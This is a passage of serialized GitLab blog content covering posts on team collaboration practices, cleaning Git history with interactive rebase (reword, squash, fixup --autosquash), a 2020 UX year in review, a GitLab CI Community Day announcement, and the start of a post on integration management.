DevOps career](/blog/future-proof-your-developer-career/) .\n\n### 2. The best way to practice collaborative software development? In open source communities\n\nGitLab is an open-core product with [open source and source-available code](/handbook/marketing/strategic-marketing/tiers/#open-source-vs-source-available). This means that community contributors can push changes to our open source codebase, and can view our proprietary, source-available code. Anyone who has been a part of an open source community can tell you that they’re very global, so you could be living in Mexico and [collaborating on an MR with someone in Poland](/blog/gitlab-hero-devops-platform/). Global collaboration without needing a passport is enriching and unique, but sometimes cultural differences can give way to miscommunication. The best way to embrace working in open source communities is to practice mindful communication and always [assume positive intent](https://handbook.gitlab.com/handbook/values/#assume-positive-intent). Most of the time, conflict is the result of misunderstanding, not malevolence.\n\nEarlier this year at [GitLab Commit Virtual](https://www.youtube.com/playlist?list=PLFGfElNsQthYQaTiUPQcu4O0O20WHZksz), we shared some communication hacks to help you seem approachable and invite dialog while contributing to open source communities. Watch the video below to learn all about it.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/XTBWX-evVEA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nAnd while open source and security might seem like a strange coupling, we found that community contributions helped fortify our GitLab Secure product. [Read the blog post](/blog/integrating-with-gitlab-secure/) to learn more about how inviting contributions from our open source community helped users extend our product to suit their needs.\n\n### 3. Why can’t dev and sec be friends?\n\nTeamwork doesn’t always come easily, particularly when you’re on opposite sides of the DevOps lifecycle. While at GitLab, dev and sec teams do work well together, this isn’t the case on every engineering team.\n\n[Brendan O’Leary](/company/team/#brendan), senior developer evangelist at GitLab, and [Ethan Strike](/company/team/#estrike), security manager for Application Security, [talk candidly about their respective objectives and how it’s better to integrate security into the development process](/blog/developer-security-divide/), as opposed to tacking it onto the end.\n\n## Best practices for developers\n\nWe explain why code review and pair programming are two methods that help engineering teams ship more stable code.\n\n### Code reviews for all\n\nFast feedback is one of the pillars of collaborative software development practices, and code reviews are an essential component. Whether you’ve been coding for 10 years or 10 weeks, having more than one person review your work is critical for catching errors and shipping stable code. But that doesn’t mean code reviews are simple. [Read our blog post on the challenges of code review](/blog/challenges-of-code-reviews/) to learn tips on how to overcome the hurdles, and [watch the demo on how to use GitLab for code review](https://page.gitlab.com/resources-demo-scm.html). [Phil Hughes](/company/team/#iamphill), staff frontend engineer for the Create: Code Review team summarizes [four tips to make code review more efficient and less painful](/blog/efficient-code-review-tips/). But all in all, we believe that despite the challenges of code review, it’s absolutely worth any hassle.\n\nWhile you’re at it, [check out our blog post where we share some of our ideas about the future of merge requests and code review](/blog/future-merge-requests-realtime-collab/) with GitLab. Not all of the ideas will necessarily be implemented, but it will give you some insight as to our vision moving forward.\n\n### Use the buddy system\n\nPair programming is basically code review in real time, and it is also one of the pillars of [Agile software development](/solutions/agile-delivery/). Typically it is done with two programmers at the same workstation, but when you’re on a a globally distributed team like we are at GitLab, that workstation exists in the virtual realm instead of IRL. In pair programming, one programmer creates the code (the driver) while the other person reviews the code (the navigator).\n\n>\"Programming is fairly abstract. When you have to explain a concept verbally, it often makes you realize you're missing pieces or that there are better ways to solve problems than your initial idea.\" – [Brandon Lyon](/company/team/#brandon_m_lyon), marketing web developer/designer\n\nThat’s not to say pair programming is the ideal workflow for everyone, one developer said that, as an introvert, pair programming is tiring. But one of the key benefits is that it speeds up the software development process and allows you to ship more stable code, faster. Read more about [the upsides and downsides to pair programming for Agile software development](/blog/agile-pairing-sessions/).\n\n## Best practices for collaboration on non-engineering teams\n\nThe tools and strategies you use to communicate may vary based on where you sit in your company, but there are a few best practices that engineering teams use that can be applied to non-engineering teams, such as pairing up on design, code production, and even writing projects. Check out some of our blog posts about [how to use GitLab for collaborative project management within and across teams](/blog/collaboration-in-product-planning/).\n\n*   [**How designers collaborate sychronously**](/blog/synchronous-collaboration-as-a-remote-designer-at-gitlab/): Pair designers, coffee chats with team members across GitLab, weekly UX showcases, calls with product designers and product managers, and other strategies.\n*   **How Marketing uses GitLab for project management**: In [part one](/blog/gitlab-for-project-management-one/), we explain why the architecture of GitLab is so effective for project management, even for users in non-technical roles. In [part two](/blog/gl-for-pm-prt-2/), we share some real-life examples of how we use GitLab was used for successful project management.\n\n### Other inventive ideas for collaboration\n\nIn a stroke of genius, our Support team recognized that the weekly team all-hands meeting was getting a bit dull, and decided to change up the format and distribute it as a [podcast instead](/blog/how-we-turned-40-person-meeting-into-a-podcast/). The podcast format allowed team members to listen to the weekly update asynchronously, which is an essential component of communication for a globally distributed team such as ours. This is a great example of how thinking outside the box can improve how information is disseminated.\n\n## Some challenges with DevOps collaboration\n\n- **Maintaining security.** Security and compliance are critical for successful DevOps, but these areas have traditionally been siloed, making collaboration tricky at best.\n- **Too many people on a project**. Large and busy teams can struggle with communication and collaboration.\n- **Lots of communication options.** Using email, instant messaging, tickets, Zoom recordings, and more to house project info can cause things to slip through the cracks. \n- **Dealing with different personality types and working styles.** Individual needs and preferences can vary wildly and it can be a struggle to keep everyone on the same page.\n\n## Want more information on collaborative software development?\n\nTrust us, you’ll want to [bookmark this page](/topics/version-control/software-team-collaboration/) so examples of best practices for collaboration are just a click away for the times when you’re feeling stumped or siloed.\n\n[Watch the webcast](/webcast/collaboration-without-boundaries/) to learn how to bring cross-functional teams together using GitLab to deliver more stable software, faster.\n\nCover image by [Volodymyr Hryshchenko](https://unsplash.com/@lunarts?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/V5vqWC9gyEU)\n{: .note}\n",[2368,4103],{"slug":20677,"featured":6,"template":678},"collaboration-communication-best-practices","content:en-us:blog:collaboration-communication-best-practices.yml","Collaboration Communication Best Practices","en-us/blog/collaboration-communication-best-practices.yml","en-us/blog/collaboration-communication-best-practices",{"_path":20683,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20684,"content":20690,"config":20695,"_id":20697,"_type":16,"title":20698,"_source":17,"_file":20699,"_stem":20700,"_extension":20},"/en-us/blog/keep-git-history-clean-with-interactive-rebase",{"title":20685,"description":20686,"ogTitle":20685,"ogDescription":20686,"noIndex":6,"ogImage":20687,"ogUrl":20688,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20688,"schema":20689},"How to keep your Git history clean with interactive rebase","Interactive rebase is one of Git’s most versatile tools. Here's how to use it to correct commit messages, fix mistakes, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662593/Blog/Hero%20Images/title-image.png","https://about.gitlab.com/blog/keep-git-history-clean-with-interactive-rebase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to keep your Git history clean with interactive rebase\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tobias Günther\"}],\n        \"datePublished\": \"2020-11-23\",\n      }",{"title":20685,"description":20686,"authors":20691,"heroImage":20687,"date":20654,"body":20693,"category":734,"tags":20694},[20692],"Tobias Günther","\n## What is interactive rebase? \n\nInteractive [rebase](/solutions/source-code-management/), or Git rebase interactive, is sometimes called the \"Swiss Army Knife\" of Git – because it contains so many different tools, for so many different use cases! However, there's one main, overarching use case: _cleaning up your local commit history_.\n\nMind the word \"local\": it should only be used for cleaning up your own, local commit history, for example before integrating one of your feature branches into a team branch. In contrast, it should NOT be used on commit history that has already been pushed and shared on a remote repository. Interactive rebase is one of those tools that \"rewrite\" Git history – and you shouldn't do this on commits that have already been shared with others.\n\nWith this little warning message out of the way, let's look at some practical examples! \n\nNote: for easier visualization of the scenarios and workflows in this post, I’ve been using the [\"Tower\" Git desktop GUI](https://www.git-tower.com/?utm_source=gitlab&utm_medium=guestpost&utm_campaign=interactive-rebase) in some of my screenshots.\n{: .note}\n\n## Correcting an old commit message with Git rebase interactive\n\nSometimes you notice a typo in an **old commit message** – or you've forgotten to mention something in the description that is noteworthy. If we were talking about the _very last_ commit, we could have simply used the `--amend` option of the `git commit` command. But for older commits you will have to use interactive rebase to change them after the fact.\n\nHere's an example of a commit message gone horribly wrong that we want to correct:\n\n![A bad commit message that needs correction](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/bad-commit-message@2x.png){: .shadow.medium.center}\nA bad commit message that needs correction\n{: .note.text-center}\n\nThe first step in _any_ Git interactive rebase session is to **determine what part of commit history you want to manipulate**. To again take the above example: in order to change this bad commit we have to start the session at its _parent_ commit.\n\n![Starting our interactive rebase session](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/start-at-parent-commit@2x.png){: .shadow.medium.center}\nStarting our interactive rebase session\n{: .note.text-center}\n\nWe can now feed this starting commit's hash to the Git rebase interactive command:\n\n```\n$ git rebase -i 0023cddd\n```\n\nAn editor window will now open, containing a list of the commits that you just selected for manipulation. And don't be surprised because they are in _reverse order_: in an interactive rebase session, Git will reapply the old commits, item after item – which means that reversing the order is correct from Git's perspective.\n\n![Editor window with the selected commits](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/editor-window-start-ir@2x.png){: .shadow.medium.center}\nEditor window with the selected commits\n{: .note.text-center}\n\nOne other important thing to note about this editor window: _you don't perform the actual manipulations here_! Or, in this concrete example, you do NOT go ahead and change the commit message here. Instead, you only mark the commit you want to change with an action keyword. In our case, because we want to change a commit’s message, we mark the line with \"reword\". If you then save and close this editor window, a new one will open, containing the old commit’s message. Now is the time to finally make your changes:\n\n![Finally, we can make our changes](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/correct-commit-message.gif){: .shadow.medium.center}\nFinally, we can make our changes\n{: .note.text-center}\n\nAfter saving and closing once more, the interactive rebase session is complete and our old commit message has been corrected!\n\n## Combining multiple commits into one using interactive rebase\n\nAnother use case for interactive rebase is when you want to **combine multiple old comments into one**. Although, of course, the golden rule of version control applies: in most situations, it's beneficial to create more and smaller commits instead of a few big ones. However, as with everything, we might find that we have overdone this and now want to meld two or more old commits into a single one.\n\nTo make a concrete example, let's say we want to combine the following selected commits into a single one:\n\n![Let's combine multiple commits into one](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-selected-commits@2x.png){: .shadow.medium.center}\nLet's combine multiple commits into one\n{: .note.text-center}\n\nJust like in our first case, we begin by starting the interactive rebase session at least at the parent commit of the one we want to manipulate.\n\n```\n$ git rebase -i 2b504bee\n```\n\nAgain, an editor window will open, listing that part of our commit history that we want to manipulate:\n\n![Marking lines with \"squash\"](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-mark-commit@2x.png){: .shadow.medium.center}\nMarking lines with \"squash\"\n{: .note.text-center}\n\nThe action keyword we are going to use here is called \"squash.\" And there's only one important piece of information you need to know about squash in order to use it: _the line we mark up with the \"squash\" keyword will be combined with the line directly above_. That’s why, as you can see in my screenshot above, I’ve marked line #2 with \"squash\" in order to combine it with line #1.\n\nWe can now save and close the editor window and again watch and a new window appear: we are now asked to provide a commit message for the new commit that is created when combining those two old ones.\n\n![Entering a new message for the new, squashed commit](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-enter-new-message@2x.png){: .shadow.medium.center}\nEntering a new message for the new, squashed commit\n{: .note.text-center}\n\nAfter saving and closing this editor window, you will see that a new commit was created that contains the changesets of both old commits. Voila!\n\n## Fixing a mistake with interactive rebase\n\nAnother use case for interactive rebase is when you found a mistake in one of your earlier commits. And it doesn't matter what exactly you messed up: you could have forgotten to add a certain change, should have deleted a file, or simply introduced a typo...\n\nThe natural tendency, in such a situation, is to simply create a new commit that corrects the mistake. But on the other hand, this will mess up our commit history: making an original commit, and then adding a \"band-aid\" commit just to fix some mistakes… that’s a messy way of working. Your commit history will soon become hard to understand, because it's littered with all those little \"quick fix commits\"!\n\nThis is where \"fixup,\" one of the tools that come with interactive rebase, comes in very handy. Fixup takes this \"quick fix\" commit, applies its changes to the original commit (thereby correcting it), and then gets rid of the band-aid commit:\n\n![How \"fixup\" works](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/diagram-fixup.png){: .medium.center}\nHow \"fixup\" works\n{: .note.text-center}\n\nAfter we're done, it looks as if there had never been a problem with our original commit! So let's walk through this using a practical example. \n\nThe first step is to do whatever is necessary to fix the problem: this could mean adding a new file, making changes to existing ones, deleting obsolete files... you \"just\" need to produce the changes that correct the mistake.\n\nThe next step is to commit these changes to the repository – but with a little extra: when making the commit, we are going to use the `--fixup` flag and tell Git the commit hash of our bad commit:\n\n```\n$ git add corrections.txt\n$ git commit --fixup 2b504bee\n```\n\nWhen you now take a look at the commit history, you will see that a pretty ordinarily looking commit has been created – probably not the magic and fireworks you would have expected. But if you take a closer look, you will see that something’s going on: the new commit has automatically been prepended with \"fixup !\" and the commit subject of our bad commit.\n\n![The original commit and the fix commit](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_create-fix-commit@2x.png){: .shadow.medium.center}\nThe original commit and the fix commit\n{: .note.text-center}\n\nThe third step now is to start the interactive rebase session. Again, we choose the parent of our bad commit as the starting point...\n\n```\n$ git rebase -i 0023cddd --autosquash\n```\n\n... and as the second part of the secret sauce, we are using the `--autosquash` flag. This option makes sure that we don't have to do _anything_ in the editor window that is now open. Take a close look at the situation:\n\n![Our fix commit is marked \"fixup\" and sorted to the right position](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_editor@2x.png){: .shadow.medium.center}\nOur fix commit is marked \"fixup\" and sorted to the right position\n{: .note.text-center}\n\nYou will see that Git automatically did two things for us:\n1. It marked our band-aid commit as \"fixup.\"\n2. It re-ordered the lines so that our band-aid commit appears directly below our bad commit. This is because fixup works exactly like squash in that it _combines with the line above_.\n\nIn other words: there's nothing left to do for us but save and close the editor window.\n\nLet's take another look at the commit history:\n\n![A happy ending!](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_final-corrected@2x.png){: .shadow.medium.center}\nA happy ending!\n{: .note.text-center}\n\nNot only does our originally bad commit now contain the changes from our band-aid commit. But on top of that, the ugly band-aid commit has disappeared from the commit history! Everything is nice and clean, just as if there had never been a problem!\n\n## Discover the power of Git rebase interactive\n\nThere are lots of use cases for interactive rebase – and most of them in the department of “fixing mistakes”. For an overview of other useful things you can do, I recommend the _free_ [\"First Aid Kit for Git\"](https://www.git-tower.com/learn/git/first-aid-kit?utm_source=gitlab&utm_medium=guestpost&utm_campaign=interactive-rebase): it’s a collection of short videos (2-3 min per episode) that help you learn to undo mistakes using interactive rebase and other Git tools.\n\nEditor's note: I had to use interactive rebase when reviewing this very post! One of my commits included an image that was greater than 1MB which is against the rules for GitLab website project. I had to go back and fix that commit to include a correctly sized image instead. Thanks for the lesson, universe! 😁\n{: .note}\n\n## More Git tips and tricks\n\n- [15 Git tips to improve your workflow](/blog/15-git-tips-improve-workflow/)\n- [How Git Partial Clone lets you fetch only the large file you need](/blog/partial-clone-for-massive-repositories/)\n- [Git happens! 6 Common Git mistakes and how to fix them](/blog/git-happens/)\n\n### About the guest author\n\n_[Tobias Günther](https://twitter.com/gntr) is the CEO of [Tower](https://www.git-tower.com/?utm_source=gitlab&utm_medium=guestpost&utm_campaign=interactive-rebase), the popular Git desktop client that helps more than 100,000 developers around the world to be more productive with Git._\n\nCover image by [David Taljat](https://www.pexels.com/@david-taljat-3748658) on [Pexels](https://www.pexels.com/photo/yellow-and-blue-line-on-gray-asphalt-road-5690623/)\n{: .note}\n",[1067,696],{"slug":20696,"featured":6,"template":678},"keep-git-history-clean-with-interactive-rebase","content:en-us:blog:keep-git-history-clean-with-interactive-rebase.yml","Keep Git History Clean With Interactive Rebase","en-us/blog/keep-git-history-clean-with-interactive-rebase.yml","en-us/blog/keep-git-history-clean-with-interactive-rebase",{"_path":20702,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20703,"content":20708,"config":20713,"_id":20715,"_type":16,"title":20716,"_source":17,"_file":20717,"_stem":20718,"_extension":20},"/en-us/blog/gitlab-ux-2020-year-in-review",{"title":20704,"description":20705,"ogTitle":20704,"ogDescription":20705,"noIndex":6,"ogImage":18477,"ogUrl":20706,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20706,"schema":20707},"GitLab UX 2020 Year in Review","2020 was a difficult but productive year. Let's take a look back.","https://about.gitlab.com/blog/gitlab-ux-2020-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab UX 2020 Year in Review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christie Lenneville\"}],\n        \"datePublished\": \"2020-11-20\",\n      }",{"title":20704,"description":20705,"authors":20709,"heroImage":18477,"date":20710,"body":20711,"category":695,"tags":20712},[19691],"2020-11-20","\nA global pandemic and broad social unrest have made this year difficult for everyone. When times are as tough as 2020 has proven to be, it's easy to focus on the negative and forget about the many good things that happened along the way. But our product designers, user researchers, and technical writers spend every day doing great work, and we can't let that slip by unnoticed. \n\nIn this post, I want to be intentional about celebrating our successes during a year when many of us wanted to just curl up under a comfy blanket and wait for the turmoil to pass. So, let's take a moment to reflect on some of the things we can feel really proud to have achieved.\n\n## Usability is now a key consideration in our category maturity model\n\nHistorically, we rated the [maturity](https://about.gitlab.com/direction/maturity/) of our product areas fairly subjectively and based almost entirely on feature availability. This year, that changed when we introduced [Category Maturity Scorecards](https://about.gitlab.com/handbook/product/ux/category-maturity/category-maturity-scorecards/) that are based on user research. Now, we start by considering the Job to be Done (JTBD) that our users need to accomplish, and we gather user feedback to rate the entire experience -- not just functionality, but usability, too. \n\nWe've learned some amazing things through this new approach, and those learnings have enabled us to make [valuable recommendations](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name%5B%5D=cm-scorecard-rec) to improve our product experience in areas like Code Review, Logging, and Issue Management. We have several additional scorecard initiatives underway, which means that our focus on creating an exceptional experience will only continue to grow. \n\nSo often, UX departments complain that they have to fight for executives to acknowledge the importance of usability on business outcomes. In this case, refining category maturity started as an idea from [Sid](https://gitlab.com/sytses), our CEO. This is honestly amazing! It's the kind of user-centered focus that UX teams get really excited about.\n\nAs the person who leads UX at GitLab, it was awesome for me to watch our cross-functional team immediately get on board. Because measuring product maturity isn't an industry standard, through our value of [Iteration](https://handbook.gitlab.com/handbook/values/#iteration) it took us some time (and a false start) to determine the right approach. Fortunately, Product leadership was both enthusiastic and patient, UX Researchers were persistent in taking feedback and making methodological refinements, and Product Designers were courageous in trying something they've never done before. Even better: Technical Writing has been involved, too, as we've identified documentation improvements that will refine our product maturity. \n\nThis was truly a team effort, and I appreciate everyone who participated. 🤝\n\n## Our design system evolved from an idea into reality\n\nWhen I joined GitLab in early 2019, our design system, [Pajamas](https://design.gitlab.com/), was a scrappy project that the design team was working hard to get off the ground. We had designed a set of 28 single-source-of-truth components and were working hard to build them into [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui), our Vue-based component library.\nWe now have a robust design library that's implemented in Figma, and a large collection of SSOT Vue components are available to use in the product, too. Even more exciting: We're just finishing with implementing our 8 most impactful components across the entire product UI (buttons, alerts, dropdowns, modals, tabs, popovers, and tooltips), which will result in better performance and consistency when we're done. (We're so close!)\n\nMost amazing to me was watching product designers and technical writers jump in to do much of this component migration work themselves. This was no small feat, because frontend development is not something that many of us are deeply skilled at. But, apparently we're both tenacious and brave, because we did the work anyway (with lots of help from our Frontend Engineers and the awesome documentation that our UX Foundations team created). In the process, we've gotten to know both our product features (which are complex) and our code base (which is also complex) even better, which makes us more effective in our day-to-day jobs.\n\nSpeaking of our UX Foundations team, this is another related success. At the beginning of 2020, we got the budgetary support to create a team that is dedicated solely to maintaining our design system and tooling. The team may be small, but its impact certainly isn't. They've already made some big improvements to things like:\n\n* **Improving tooling for designers:** The move to Figma allows for greater collaboration, as well as community contributions. Sketch is only available on Mac platforms and there are no real-time collaboration features. Figma allows us to provide a UI Kit that is available across platforms, while being available for community contributors to use for free. It also promotes collaboration through its use of real-time editing capabilities and version history. We were able to streamline developer handoff by simply linking to the design file, reducing the need for additional plugins such as Sketch Measure.\n* **Making our color palette consistent and accessible:** We addressed color contrast for accessibility and normalized the palette across hues, so that we can better systematize variable use throughout the UI.\n* **Improving consistency in our icons:** With the creation of our own [SVG Library](http://gitlab-org.gitlab.io/gitlab-svgs/), we've been working to [deprecate our use of Font Awesome](https://gitlab.com/groups/gitlab-org/-/epics/2331) throughout the year. With the help of the Frontend department, we've closed out 156 out of 168 issues related to this effort.\n* **Moving towards more accessible workflows:** Near the end of the year, we've started focusing more on building accessibility standards into our workflows. We are currently auditing and updating our [voluntary product accessibility template](https://design.gitlab.com/accessibility/vpat), as well as [incorporating accessibility audit guides](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/2158) into Pajamas.\n\n## Actionable insights\n\nUser research is so incredibly valuable... when you take action on it. But it can be a challenge for research teams to condense their powerful findings into small but compelling insights and then track those insights to determine whether they actually make it into the product.\n\nIn the second half of this year, our user research team made two big strides in this area. First, we started using [Dovetail](https://dovetailapp.com/) to help us more easily analyze research data to find meangingful insights and share it collaboratively with Product Managers and Product Designers (and anyone else who may be interested). But, they took this a step farther by also beginning to [track actionable insights](https://about.gitlab.com/handbook/product/ux/performance-indicators/#actionable-insights) as a performance indicator.\n\nThe considerable effort it took to get both of these programs in place will be worth it as we watch our research efforts result in an even better product.\n\n## Beautifying our docs\n\nComplex products like GitLab require high-quality documentation. Some things you just can't (and shouldn't) communicate through the UI, so users rely on great docs to get their daily jobs done.\n\nOur Technical Writing team (many of whom have been with GitLab less than a year) worked hard to improve our docs site during 2020, including:\n\n- Several UX research projects to discover - and fix! - problems users encounter when using the docs site.\n- A \"Beautification\" effort that focused on an updated visual design. Our 2020 GitLab Contribute event included many rapid improvements to the docs site, and we made many more afterward. (Did you notice?)\n- Ongoing content improvements, including making our docs more consistent, findable, detailed, and easier to read.\n- Adding (a lot of) metadata information to product docs to help connect content contributors with Technical Writers.\n- Coding innovations for automation, such as grammar checking with Vale, a linter, to automatically catch errors before they’re merged.\n\nWe’ve also completed work on a Docs Strategy roadmap to drive even more improvements in the upcoming months.  \n\n## And so much more...\n\n* GitLab Design Talks: In this fun video series, watch designers, technical writers, researchers, and product managers talk about [Iteration](https://www.youtube.com/playlist?list=PL05JrBw4t0KpgzLWbRCXf8o7iap-uoe7o) and [Collaboration](https://www.youtube.com/playlist?list=PL05JrBw4t0KrER807JktsL-addVZa4N0-) at GitLab. (Special thanks to host [Nick Post](https://gitlab.com/npost)!)\n* UX Showcase: See [100+ videos](https://www.youtube.com/playlist?list=PL05JrBw4t0Kq89nFXtkVviaIfYQPptwJz) highlighting exciting UX work happening across GitLab. I learn something new everytime I watch one of these.\n* Blog posts: Read about a variety of topics we were thinking about in 2020, including:\n    * [Designing in an all-remote company](https://about.gitlab.com/blog/designing-in-an-all-remote-company/)\n    * [Running an asynchronous sketching workshop for UX](https://about.gitlab.com/blog/async-sketching/)\n    * [Synchronous collaboration as a remote designer at GitLab](https://about.gitlab.com/blog/synchronous-collaboration-as-a-remote-designer-at-gitlab/)\n    * [A tale of two file editors](https://about.gitlab.com/blog/a-tale-of-two-editors/)\n    * [How holistic UX design increased GitLab.com free trial signups](https://about.gitlab.com/blog/how-holistic-ux-design-increased-gitlab-free-trial-signups/)\n    * [Improving iteration and collaboration with user stories](https://about.gitlab.com/blog/how-we-utilize-user-stories-as-a-collaborative-design-tool/)\n    * [Designing incident management from scratch](https://about.gitlab.com/blog/designing-alerts-and-incidents/) \n    * [Why GitLab is the right design collaboration tool for the entire team ](https://about.gitlab.com/blog/why-gitlab-is-the-right-design-collaboration-tool-for-the-whole-team/)\n\nAgain, the GitLab UX team does amazing work every single day, and there is no way to capture all of that effort in a single blog post. As this year wraps up, I hope you personally take time to think about your own successes and the impact they had on our fast-moving company. \n\nI also hope you know that we value every one of you. You are appreciated. 💜\n\n{::options parse_block_html=\"true\" /}\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n  \u003Cp class=\"panel-heading\">\u003Cstrong>One more thing...\u003C/strong>\u003C/p>\n\u003Cdiv class=\"panel-body\">\n\n\u003Cp>The final 2020 highlight I wanted to ensure is here was Christie Lenneville's own promotion to be GitLab's first \u003Cstrong>Vice President of User Experience (UX)\u003C/strong>. I knew that as both the author of this article, and as a humble (and great) leader she'd be hesitant to add this herself. But it's not only a recognition of her achievements and her potential. VP-level leadership of UX at GitLab should \u003Ci>also\u003C/i> be a signal of how important UX is to our organization and to our community. And it should indicate that usability is an important differentiator for GitLab, and a critical part of our company's strategy. Congratulations again, Christie!\u003C/p>\n\n&mdash; Eric Johnson, Chief Technology Officer\n\n\u003C/div>\n\u003C/div>\n\n{::options parse_block_html=\"false\" /}\n",[2249,2248,676,1307],{"slug":20714,"featured":6,"template":678},"gitlab-ux-2020-year-in-review","content:en-us:blog:gitlab-ux-2020-year-in-review.yml","Gitlab Ux 2020 Year In Review","en-us/blog/gitlab-ux-2020-year-in-review.yml","en-us/blog/gitlab-ux-2020-year-in-review",{"_path":20720,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20721,"content":20727,"config":20732,"_id":20734,"_type":16,"title":20735,"_source":17,"_file":20736,"_stem":20737,"_extension":20},"/en-us/blog/gitlab-community-day",{"title":20722,"description":20723,"ogTitle":20722,"ogDescription":20723,"noIndex":6,"ogImage":20724,"ogUrl":20725,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20725,"schema":20726},"Join the first GitLab Community Day and get started with CI","Learn about GitLab CI and get to know the community.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681760/Blog/Hero%20Images/Community-day-banner-1.png","https://about.gitlab.com/blog/gitlab-community-day","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join the first GitLab Community Day and get started with CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2020-11-19\",\n      }",{"title":20722,"description":20723,"authors":20728,"heroImage":20724,"date":20729,"body":20730,"category":18484,"tags":20731},[6631],"2020-11-19","\n\nWe are excited to host our first GitLab Community Day on Dec 1st, 2020. This will be a global event, with sessions at different times to enable everyone in the GitLab community to attend worldwide. For our first Community Day, we will focus on GitLab CI. Come and join us to learn more about CI and meet our community!\n\n## Who should attend\n\nAre you just starting to learn about GitLab or [Continuous Integration](/solutions/continuous-integration/)? If so, these Community Day sessions are a great way to accelerate your learning process.\nIf you already use GitLab CI, we'd love for you to join us to share your knowledge and experience with other community members.\nRegardless of where you are in your learning curve, we invite you to bring your projects and questions and learn in real-time with us.\n\n## What to expect\n\nThe GitLab Developer Evangelism team will walk you through an introduction to CI followed by hands-on exercises. These will show how to get started with GitLab CI and how to add security scanning to your pipelines. By the end of the session, you will have successfully created your own CI pipelines using GitLab.\n\nEveryone who participates in the Community Day events will be eligible for special GitLab swag and prizes.\n\n## Register\n\nWe are offering three sessions to enable our community members from around the world to participate. Please select the session that works best for you and register on Meetup.com.\n\n- Session #1 with [Abubakar Siddiq Ango](/company/team/#abuango) at [4:00PM CST](https://www.timeanddate.com/worldclock/fixedtime.html?iso=20201201T16&p1=3910): [RSVP](https://www.meetup.com/gitlab-virtual-meetups/events/274628363/)\n- Session #2 with [Michael Friedrich](/company/team/#dnsmichi) at [4:00PM GMT](https://www.timeanddate.com/worldclock/fixedtime.html?iso=20201201T16&p1=%3A): [RSVP](https://www.meetup.com/gitlab-virtual-meetups/events/274628394/)\n- Session #3 with [Brendan O'Leary](/company/team/#brendan) at [4:00PM PT](https://www.timeanddate.com/worldclock/fixedtime.html?iso=20201201T16&p1=3922): [RSVP](https://www.meetup.com/gitlab-virtual-meetups/events/274628411/)\n\n## Spread the word\n\nPlease help spread the word about our community day by sharing this on social media. Feel free to use the `#GitLabCommunityDay` hashtag so we can amplify your posts!\n",[110,267],{"slug":20733,"featured":6,"template":678},"gitlab-community-day","content:en-us:blog:gitlab-community-day.yml","Gitlab Community Day","en-us/blog/gitlab-community-day.yml","en-us/blog/gitlab-community-day",{"_path":20739,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20740,"content":20745,"config":20750,"_id":20752,"_type":16,"title":20753,"_source":17,"_file":20754,"_stem":20755,"_extension":20},"/en-us/blog/integration-management",{"title":20741,"description":20742,"ogTitle":20741,"ogDescription":20742,"noIndex":6,"ogImage":15091,"ogUrl":20743,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20743,"schema":20744},"Integration management for git projects","Read here on how GitLab offers the tools for managing integrations for your projects!","https://about.gitlab.com/blog/integration-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Integration management for git projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Deuley\"},{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2020-11-19\",\n      }",{"title":20741,"description":20742,"authors":20746,"heroImage":15091,"date":20729,"body":20748,"category":736,"tags":20749},[20747,19672],"Patrick Deuley","GitLab is a complete platform for the entire [DevOps lifecycle](/topics/devops/), but some users and organizations already have a specific tool they must use for certain parts of their workflow. **Over 4.5 million projects have configured integrations** and hundreds of thousands more are added each month. User utilize integration management to connect a wide array of applications such as Slack, Jira, Prometheus, and more – plugging critical parts of their chosen stack into GitLab.\n\nOne of the core design concepts of GitLab as a product is that a single application serves our users best. However, for users who have made specific choices about certain tools in their workflow, the inverse is also true: a disjointed toolchain where your tools are not connected at all is _the worst possible experience_. If you are going to have separate tools in your DevOps toolchain (which is fine!), they need to at least be sitting next to each other.\n\nBefore GitLab 13.3, project integrations were managed only at 